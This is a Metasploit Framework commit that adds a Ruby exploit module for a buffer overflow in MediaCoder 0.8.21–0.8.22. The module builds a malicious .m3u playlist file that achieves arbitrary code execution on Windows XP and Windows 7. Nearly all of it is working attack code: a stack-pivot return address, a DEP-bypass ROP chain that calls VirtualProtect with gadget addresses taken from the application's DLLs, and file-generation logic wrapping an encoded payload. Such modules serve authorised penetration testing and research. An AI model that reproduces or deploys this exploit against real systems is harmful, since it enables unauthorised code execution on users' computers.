Land rapid7#2081 - MediaCoder .M3U Buffer Overflow

Author: wchen-r7

modules/exploits/windows/fileformat/mediacoder_m3u.rb

@@ -0,0 +1,123 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'MediaCoder .M3U Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
+				occurs when adding an .m3u, allowing arbitrary code execution under the context
+				of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
+				runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
+				to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'metacom', # Vulnerability discovery and PoC
+					'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
+					'otoy <otoy[at]spentera.com>' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'OSVDB', '94522' ],
+					[ 'EDB', '26403' ]
+				],
+			'DefaultOptions'  =>
+				{
+					'EXITFUNC' => 'seh'
+				},
+			'Platform'       => 'win',
+			'Payload'        =>
+				{
+					'Space'           => 1200,
+					'BadChars'        => "\x00\x5c\x40\x0d\x0a",
+					'DisableNops'     => true,
+					'StackAdjustment' => -3500
+				},
+			'Targets'        =>
+				[
+					[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
+						{
+							# stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
+							'Ret'		=> 0x6afd4435,
+							'Offset'	=> 849,
+							'Max'		=> 5000
+						}
+					],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jun 24 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
+			], self.class)
+
+	end
+
+	def junk(n=1)
+		return [rand_text_alpha(4).unpack("L")[0]] * n
+	end
+
+	def nops(rop=false, n=1)
+		return rop ? [0x6ab16202] * n : [0x90909090] * n
+	end
+
+	def exploit
+		# fixed rop from mona.py :)
+		rop_gadgets =
+		[
+			nops(true,35),	# ROP NOP
+			0x100482ff,	# POP EAX # POP EBP # RETN [jpeg.dll]
+			0xffffffc0,	# negate will become 0x00000040
+			junk,
+			0x66d9d9ba,	# NEG EAX # RETN [avutil-52.dll]
+			0x6ab2241d,	# XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]
+			junk(15),  	# reserve more junk for add esp,2c
+			0x1004cc03,	# POP ECX # RETN [jpeg.dll]
+			0x6ab561b0,	# ptr to &VirtualProtect() [IAT swscale-2.dll]
+			0x66d9feee,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]
+			0x6ab19780,	# XCHG EAX,ESI # RETN [swscale-2.dll]
+			0x66d929f5,	# POP EAX # POP EBX # RETN [jpeg.dll]
+			0xfffffcc0,	# negate will become 0x0000033f
+			junk,
+			0x6ab3c65a,	# NEG EAX # RETN [postproc-52.dll]
+			0x1004cc03,	# POP ECX # RETN [jpeg.dll]
+			0xffffffff,	#
+			0x660166e9,	# INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]
+			0x66d8ae48,	# XCHG ECX,EBX # RETN [avutil-52.dll]
+			0x1005f6e4,	# ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]
+			0x6ab3d688,	# POP ECX # RETN [jpeg.dll]
+			0x6ab4ead0,	# Writable address [avutil-52.dll]
+			0x100444e3,	# POP EDI # RETN [swscale-2.dll]
+			nops(true),	# ROP NOP [swscale-2.dll]
+			0x100482ff,	# POP EAX # POP EBP # RETN [jpeg.dll]
+			nops,      	# Regular NOPs
+			0x6ab01c06,	# PUSH ESP# RETN [swscale-2.dll]
+			0x6ab28dda,	# PUSHAD # RETN [swscale-2.dll]
+		].flatten.pack("V*")
+
+		sploit = "http://"
+		sploit << rand_text(target['Offset'])
+		sploit << [target.ret].pack('V')
+		sploit << rop_gadgets
+		sploit << make_nops(16)
+		sploit << payload.encoded
+		sploit << rand_text(target['Max']-sploit.length)
+
+		file_create(sploit)
+	end
+end